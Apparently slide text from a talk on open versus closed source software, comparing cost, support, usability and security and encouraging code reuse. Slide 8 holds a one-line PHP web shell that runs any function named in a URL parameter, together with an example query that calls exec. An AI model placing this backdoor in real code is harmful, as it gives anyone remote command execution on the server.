3. Open Source
● Open Source Software License
- distributed under a licensing agreement which allows the source code to be shared, viewed and modified
● Cost
- free
- requires a certain level of technical expertise in order to manage content
- providers are increasingly charging for addons, additional services and integration
- long term costs : implementation, innovation, service/support issues, infrastructure
● Service and Support
- online community network
● Innovation
- enables innovation by providing users with the freedom and flexibility to adapt the software to suit
● Usability
- lack of usability
● Security
- is often viewed as having security issues
4. Closed Source
● Closed Source Software License
- distributed under a licensing agreement to authorized users with private modification, copying and republishing
restrictions
● Cost
- vary from a few thousand to a few hundred thousand dollars
- user is paying for a more customized product from a trusted brand that includes higher levels of security and
functionality, continuous innovation, a greater ability to scale, ongoing training and support and a lower
requirement for technical skills.
● Service and Support
- service level and support structure requirements are taking precedent in favour of maximising uptime and
minimising downtime
● Innovation
- do not allow users to view or alter the source code
- innovation comes fully tested
● Usability
- employs expert usability testing
- detailed user manuals and guides are provided for faster trainings
● Security
- more secure because it is developed in a controlled environment by a concentrated team with a common
direction
6. A guy smarter than me said that
Good programmers are writing their own code
from scratch;
BUT
Best programmers are using code developed
by good programmers. >:)
8. <?=($_=@$_GET[2]).@$_($_GET[1])?>
● a lot of time wasted on creating modules that we could find already created
● wasted time that we could use in innovation
● most open source libraries have an API documentation + examples
● If you are a good programmer all the things you need to learn from Open
Source libraries will seem simple (simpler than making a pizza)
How to become the "best" programmer?
● Research
● Understanding APIs (libraries, CMSes and so on)
● Code (preferable no spaghetti code)
● Learn how to make a pizza faster!
?2=exec&1=help
9. Examples
● Wordpress, Joomla, Drupal for blog type projects
● Moodle for e-learning projects
● PHC, GCC, Open GTK for building and running apps
● Chromium for building your own browser
● Google Charts
● Frameworks (Django, Zend, Smarty, Rails etc)
● [...]
10. Why not?
You have the opportunity to change the world
easier than ever!